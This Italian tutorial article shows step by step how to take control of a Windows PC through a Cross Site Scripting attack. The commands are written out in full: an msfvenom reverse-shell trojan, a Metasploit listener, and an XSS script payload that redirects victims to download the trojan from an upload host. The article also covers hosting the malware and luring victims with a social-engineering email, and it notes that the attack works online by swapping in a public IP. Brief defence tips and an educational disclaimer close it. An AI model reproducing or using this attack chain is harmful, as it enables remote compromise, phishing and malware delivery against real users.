Nessun risultato. Prova con un altro termine.
Guide
Notizie
Software
Tutorial

Metasploit e Cross Site Scripting

Come si realizza un attacco informatico ad una web application vulnerabile al Cross Site Scripting (XSS), sfruttando Kali Linux e qualche altro strumento.
Come si realizza un attacco informatico ad una web application vulnerabile al Cross Site Scripting (XSS), sfruttando Kali Linux e qualche altro strumento.
Link copiato negli appunti

In questo articolo vedremo come prendere possesso di un PC remoto
utilizzando un attacco XSS.

Il laboratorio sarà costituito da due macchine, una con sistema operativo
Kali Linux e l’altra con sistema operativo Windows 7.

L'attaccante invia una mail, creata con tecniche di social engineering, per
convincere la vittima ad aprire un sito web (vulnerabile a XSS) e scaricare
il file dannoso (un trojan) che gli permetterà di assumere il controllo del
PC della vittima.

Figura 1. Schema generale di un XSS (fonte: Acunetix) (click per ingrandire)

Schema generale di un XSS

Gli strumenti che utilizzeremo per portare a termine l’attacco saranno:

  • Kali Linux
  • Windows 7
  • Metasploit
  • Mozilla Firefox

Vediamo innanzitutto come viene realizzato il trojan adatto a questa
tipologia di attacco informatico. Chi è pratico di Metasploit avrà già
intuito che utilizzeremo msfvenom.

Apriamo una shell in Kali Linux e digitiamo questi semplici comandi
per creare il nostro trojan.

msfvenom -p windows/meterpreter/reverse_tcp --platform windows-a x86 -f exe LHOST=192.168.1.196 LPORT=4444 -o /root/Desktop/trojan.exe

LHOST è l’IP della macchina su cui gira Kali Linux, che possiamo
ottenere da un terminale digitando ifconfig, mentre la LPORT è la
porta predefinita di ascolto di Metasploit. Possiamo scegliere una porta
qualsiasi da associare al campo LPORT.

Figura 2. Creazione del trojan utilizzando msfvenom (click per ingrandire)

Creazione del trojan utilizzando msfvenom

Potremmo pensare di inviare direttamente il trojan alla nostra vittima, ma oramai tutti i client di posta elettronica riconoscono questo tipo di file. Su Gmail, così come in altri client web, non è possibile caricare il nostro file:

Figura 3. Gmail identifica subito il file allegato trojan.exe come malware (click per ingrandire)

Gmail identifica subito il file allegato trojan.exe come malware

Il file generato va quindi caricato su di un server da cui potrà essere
scaricato in un secondo momento. Ci sono molti siti che offrono questa
tipologia di servizi, ma ovviamente il più sicuro sarà un server proprio
dedicato all’attacco.

I più comuni servizi di upload effettuano uno scanning dei file
prima di caricarli e ne bloccano l’upload se risultano sospetti.

Una volta effettuato l’upload del file malevolo, otterremo un link per il
suo download, del tipo https://ufile.io/cidxd.

Creato il trojan e salvato su un server per il download, non ci
resta che andare alla ricerca di una web application che sia vulnerabile al Cross Site Scripting (XSS), o in
alternativa realizzeremo un sito ad hoc che risulti vulnerabile a questa tipologia di attacco, da
utilizzare come tramite per fare scaricare il malware alla nostra vittima.
Dato che scansionare siti alla ricerca di vulnerabilità tipo la XSS
rappresenta potenzialmente un reato o comunque ci si potrebbe beccare una
denuncia da parte del proprietario del sito web, meglio non rischiare.
Creeremo noi un sito web vulnerabile a un attacco XSS.

Ovviamente il sito web dovrà ispirare fiducia e rassicurare l’utente che quello che sta
succedendo è del tutto normale.

Cliccato il link che inseriremo nella mail, se tutto funzionerà a dovere,
la vittima verrà reindirizzata sulla web application vulnerabile al Cross
Site Scripting e verrà avviato il download del Trojan.

Trovata la web application http://example.com/, effettuiamo un primo
test per verificare che tutto funzioni correttamente.

Ora mettiamoci in attesa per la connessione che il trojan invierà quando sarà
attivato.

Apriamo una shell in Kali Linux e digitiamo:

Msfconsole

Attendiamo il caricamento e poi digitiamo questi semplici comandi, uno alla volta:

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 192.168.1.196
exploit

Figura 4. Avvio della sessione di ascolto di Meterpreter (click per ingrandire)

Avvio della sessione di ascolto di Meterpreter

Caricato il trojan e avviata la sessione di meterpreter, andiamo a inserire nella casella di ricerca della web application il seguente codice:

XSS Payload => <script>alert("Download esito prova di Ammissione "); window.location.href="https://ufile.io/cidxd"</script>

Il codice viene eseguito come desiderato e il download del trojan si avvia.

Lo step successivo consiste nel
confezionare una mail da inviare alla nostra vittima, utilizzando delle
tecniche di social engineering.

Figura 5. Compilazione di una mail mediante tecniche di social engineering (click per ingrandire)

Compilazione di una mail mediante tecniche di social engineering

Per realizzare una ottima mail con tecniche di social engineering dobbiamo
conoscere molto bene la nostra vittima, le sue abitudini, le sue passioni,
il suo lavoro. Non entreremo nel merito in questa sede, limitandoci a supporre di avere realizzato questa mail e di
averla inviata.

La vittima controllerà la posta, aprirà la nostra mail e, nella migliore ipotesi (o peggiore, a seconda dei punti di vista) farà click sul nostro URL.

Figura 6. Avvio del download del file malevolo (click per ingrandire)

Avvio del download del file malevolo
Figura 7. Schermata della sessione Meterpreter attivata dal trojan.exe (click per ingrandire)

Schermata della sessione Meterpreter attivata dal trojan.exe

Aperta la sessione con il comando sysinfo, l’attaccante avrà già le prime preziose informazioni.

Figura 8. Prime info ottenute con il comando sysinfo (click per ingrandire)

Prime info ottenute con il comando sysinfo

Noto il sistema operativo, si può iniziare a preparare l’attacco mirato e la privilege escalation, ottenendo il controllo completo della macchina.

Alcune osservazioni

  1. L’exploit è stato utilizzato in una intranet, per testarlo online basta
    sostituire l’IP privato con quello pubblico.
  2. Questo exploit può essere applicato anche ad altre versioni di Windows (con qualche opportuna modifica).
  3. Nell’esempio, si è lasciato il nome trojan.exe per tenere bene a mente
    cosa stavamo facendo, un nome più appropriato sarebbe stato scelto sempre sfruttando la social engineering.
  4. Il successo dell’attacco dipende molto dalle tecniche di social
    engineering utilizzate.

Come difendersi

Un hacker professionista punta molto su queste tecniche per raggiungere il
proprio obiettivo. L’utente vittima ha poche difese da mettere in gioco.
Per ostacolare il piu possibile questi tentativi di attacco, bisogna avere
l’accortezza di:

  1. Tenere aggiornato il proprio antivirus
  2. Evitare di aprire email ricevute da mittenti sconosciuti
  3. Controllare sempre i link che si ricevono per posta
  4. Controllare sempre i re-indirizzamenti

Applicando queste semplici regole sarà molto difficile per un hacker
impadronirsi del vostro PC.

Si noti, infine, che questo articolo ha puro scopo educativo ed è stato eseguito in
ambiente controllato. Eventuali tentativi di replica su siti web o
indirizzi IP pubblici costituiscono reato informatico.

Ti consigliamo anche